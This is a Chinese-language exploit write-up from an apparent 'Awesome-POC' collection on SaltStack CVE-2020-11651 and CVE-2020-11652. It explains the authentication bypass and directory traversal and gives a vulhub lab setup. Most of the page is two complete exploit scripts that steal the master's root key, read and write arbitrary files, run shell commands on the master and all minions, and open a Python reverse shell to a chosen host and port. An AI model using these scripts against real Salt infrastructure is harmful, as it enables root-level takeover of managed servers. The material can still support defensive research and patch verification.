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Awesome-POC/服务器应用漏洞/Saltstack 远程命令执行漏洞 CVE-2020-11651 11652.md

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2022-02-20 16:14:31 +08:00
# Saltstack 远程命令执行漏洞 CVE-2020-11651 11652
## 漏洞描述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞（CVE-2020-11651）和目录遍历漏洞（CVE-2020-11652）。
在 CVE-2020-11651 认证绕过漏洞中，攻击者通过构造恶意请求，可以绕过 Salt Master 的验证逻辑，调用相关未授权函数功能，从而可以造成远程命令执行漏洞。
在 CVE-2020-11652 目录遍历漏洞中，攻击者通过构造恶意请求，可以读取、写入服务器上任意文件。
## 漏洞影响
```
SaltStack Version < 2019.2.4
SaltStack Version < 3000.2
```
## 环境搭建
```
git clone https://github.com/vulhub/vulhub.git
cd vulhub/saltstack/CVE-2020-11652
docker-compose up -d
```
## 漏洞复现
salt-master普遍使用这两行代码进行认证，其中`clear_load`是可控输入点。
```pyhton
auth_type, err_name, key, sensitive_load_keys = self._prep_auth_info(clear_load)
auth_check = self.loadauth.check_authentication(clear_load, auth_type, key=key)
```
`_prep_auth_info`首先会识别`clear_load`输入的字段并选用其中之一作为认证方式，然后传参到`check_authentication`方法检验认证是否有效。
![image-20220209124601649](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091246735.png)
在第三种认证方式`auth_type=='user'`中，会由`_prep_auth_info`获取到系统opt的key，传递到`check_authentication`中和API参数中携带的key进行`==`比对。
理论上`_prep_auth_info`是不可被外部调用的，漏洞成因即是攻击者通过匿名API直接调用`_prep_auth_info`方法，在回显中拿到`self.key`，并在后续的请求中使用获取到的key过验证，以root权限执行高危指令。
Mworker daemon进程处理API请求：
```python
class MWorker(salt.utils.process.SignalHandlingProcess):
"""
The worker multiprocess instance to manage the backend operations for the
salt master.
"""
```
其中 *handle_clear &* handle_aes 函数分别处理明文和加密指令：
![image-20220209124623549](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091246659.png)
在这里，`self._clear_funcs` 是 `class ClearFuncs` 的实例，在这里API访问者可以无认证调用任意的类函数。
```python
class ClearFuncs(TransportMethods):
"""
Set up functions that are safe to execute when commands sent to the master
without encryption and authentication
"""
```
`ClearFuncs._prep_auth_info()`将self.key返回给API造成泄露。攻击者可先通过这一方法拿到key，然后通过认证接口下发shell指令。
之前存在漏洞的代码中仅过滤掉`__`开头的private方法，导致`_prep_auth_info`泄露，patch中对clearfuncs和aesfuncs两个类添加了expose白名单过滤：
![image-20220209124642963](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091246103.png)
这里使用 POC 来复现
下载地址: https://github.com/jasperla/CVE-2020-11651-poc
![image-20220209124657975](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091246050.png)
读取文件 **/etc/passwd**
![image-20220209124711163](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091247261.png)
反弹sell（这里使用另一个POC）
下载地址: https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py
![image-20220209124726111](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091247203.png)
## 漏洞利用POC
[下载地址](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py)
```python
# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号：台下言书
# -*- coding:utf-8 -*- -
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime
import salt
import salt.version
import salt.transport.client
import salt.exceptions
DEBUG = False
def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
def check_salt_version():
print("[+] Salt 版本: {}".format(salt.version.__version__))
vi = salt.version.__version_info__
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
return True
else:
return False
def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()
try:
channel.send({'cmd': 'ping'}, timeout=2)
print('\033[1;32m可以连接\033[0m')
except salt.exceptions.SaltReqTimeoutError:
print("\033[1;31m无法连接\033[0m")
sys.exit(1)
def check_CVE_2020_11651(channel):
sys.stdout.flush()
# try to evil
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("\033[1;32m不存在漏洞\033[0m")
except:
print("\033[1;32m未知错误\033[0m")
raise
else:
pass
finally:
if rets:
root_key = rets[2]['root']
print("\033[1;31m存在漏洞\033[0m")
return root_key
return None
def pwn_read_file(channel, root_key, path, master_ip):
# print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])
def pwn_getshell(channel, root_key, LHOST, LPORT):
msg = {"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
LHOST, LPORT)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
if master_or_minions == "master":
msg = {"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
if master_or_minions == "minions":
print("Sending command to all minions on master")
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
cmd = "/bin/sh -c '{0}'".format(exec_cmd)
msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
"user": "root", "jid": jid}
try:
response = channel.send(msg, timeout=3)
if response == None:
return True
else:
return False
except:
return False
#####################################
master_ip=input('目标IP：')
master_port='4506'
channel = init_minion(master_ip, master_port)
try:
root_key = check_CVE_2020_11651(channel)
except:
pass
while master_ip!='':
print('1.测试POC 2.读取文件 3.执行命令(无回显) 4.反弹shell 5.退出')
whattype=input('请选择：')
if whattype=='1':
check_salt_version() # 检查salt版本
check_connection(master_ip, master_port, channel) # 检查连接
root_key = check_CVE_2020_11651(channel) # 读取root key
print(root_key)
elif whattype=='2':
path = input('读取路径：')
try:
pwn_read_file(channel, root_key, path, master_ip) # 读取文件
except:
print('文件不存在')
elif whattype=='3':
print('1.master 2.minions')
exectype = input('选择方式：')
if exectype=='1':
master_or_minions='master'
elif exectype=='2':
master_or_minions = 'minions'
exec_cmd = input('输入命令：')
pwn_exec(channel, root_key, exec_cmd, master_or_minions) # 执行命令
elif whattype=='4':
LHOST = input('反弹到IP：')
LPORT = input('反弹端口：')
pwn_getshell(channel, root_key, LHOST, LPORT) # 反弹shell
elif whattype=='5':
exit()
```
[下载地址](https://github.com/jasperla/CVE-2020-11651-poc/blob/master/exploit.py)
```python
#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time
import salt
import salt.version
import salt.transport.client
import salt.exceptions
def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
# --- check funcs ----
def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()
# connection check
try:
channel.send({'cmd':'ping'}, timeout=2)
except salt.exceptions.SaltReqTimeoutError:
print("OFFLINE")
sys.exit(1)
else:
print("ONLINE")
def check_CVE_2020_11651(channel):
print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
sys.stdout.flush()
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except:
print('ERROR')
return None
else:
pass
finally:
if rets:
print('YES')
root_key = rets[2]['root']
return root_key
print('NO')
return None
def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'cmd': 'get_token',
'arg': [],
'token': top_secret_file_path,
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("YES")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
print("NO")
def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': top_secret_file_path,
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
if rets['data']['return']:
print("YES")
else:
print("NO")
def check_CVE_2020_11652_write1(debug, channel, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
'data': 'evil',
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
pp(rets)
if rets['data']['return'].startswith('Wrote'):
try:
os.remove('/tmp/salt_CVE_2020_11652')
except OSError:
print("Maybe?")
else:
print("YES")
else:
print("NO")
def check_CVE_2020_11652_write2(debug, channel, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'config.update_config',
'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
'yaml_contents': 'evil',
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
if rets['data']['return'].startswith('Wrote'):
try:
os.remove('/tmp/salt_CVE_2020_11652.conf')
except OSError:
print("Maybe?")
else:
print("YES")
else:
print("NO")
def pwn_read_file(channel, root_key, path, master_ip):
print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])
def pwn_upload_file(channel, root_key, src, dest, master_ip):
print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
sys.stdout.flush()
try:
fh = open(src, 'rb')
payload = fh.read()
fh.close()
except Exception as e:
print('[-] Failed to read {}: {}'.format(src, e))
return
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'saltenv': 'base',
'data': payload,
'path': dest,
}
rets = channel.send(msg, timeout=3)
print('[ ] {}'.format(rets['data']['return']))
def pwn_exec(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'runner',
'fun': 'salt.cmd',
'saltenv': 'base',
'user': 'sudo_user',
'kwarg': {
'fun': 'cmd.exec_code',
'lang': 'python',
'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
},
'jid': jid,
}
try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
if rets.get('jid'):
print('[+] Successfully scheduled job: {}'.format(rets['jid']))
def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': '_send_pub',
'fun': 'cmd.run',
'user': 'root',
'arg': [ "/bin/sh -c '{}'".format(cmd) ],
'tgt': '*',
'tgt_type': 'glob',
'ret': '',
'jid': jid
}
try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
finally:
if rets == None:
print('[+] Successfully submitted job to all minions.')
else:
print('[-] Failed to submit job')
def main():
parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
parser.add_argument('--port', '-p', dest='master_port', default='4506')
parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
parser.add_argument('--read', '-r', dest='read_file')
parser.add_argument('--upload-src', dest='upload_src')
parser.add_argument('--upload-dest', dest='upload_dest')
parser.add_argument('--exec', dest='exec', help='Run a command on the master')
parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
args = parser.parse_args()
print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
time.sleep(1)
# Both src and destination are required for uploads
if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
print('[-] Must provide both --upload-src and --upload-dest')
sys.exit(1)
channel = init_minion(args.master_ip, args.master_port)
check_connection(args.master_ip, args.master_port, channel)
root_key = check_CVE_2020_11651(channel)
if root_key:
print('[*] root key obtained: {}'.format(root_key))
else:
print('[-] Failed to find root key...aborting')
sys.exit(127)
if args.run_checks:
# Assuming this check runs on the master itself, create a file with "secret" content
# and abuse CVE-2020-11652 to read it.
top_secret_file_path = '/tmp/salt_cve_teta'
with salt.utils.fopen(top_secret_file_path, 'w') as fd:
fd.write("top secret")
# Again, this assumes we're running this check on the master itself
with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
root_key = keyfd.read()
check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
check_CVE_2020_11652_write1(debug, channel, root_key)
check_CVE_2020_11652_write2(debug, channel, root_key)
os.remove(top_secret_file_path)
sys.exit(0)
if args.read_file:
pwn_read_file(channel, root_key, args.read_file, args.master_ip)
if args.upload_src:
if os.path.isabs(args.upload_dest):
print('[-] Destination path must be relative; aborting')
sys.exit(1)
pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)
jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())
if args.exec:
pwn_exec(channel, root_key, args.exec, args.master_ip, jid)
if args.exec_all:
print("[!] Lester, is this what you want? Hit ^C to abort.")
time.sleep(2)
pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)
if __name__ == '__main__':
main()
```
## 参考文章
https://www.cdxy.me/?p=822
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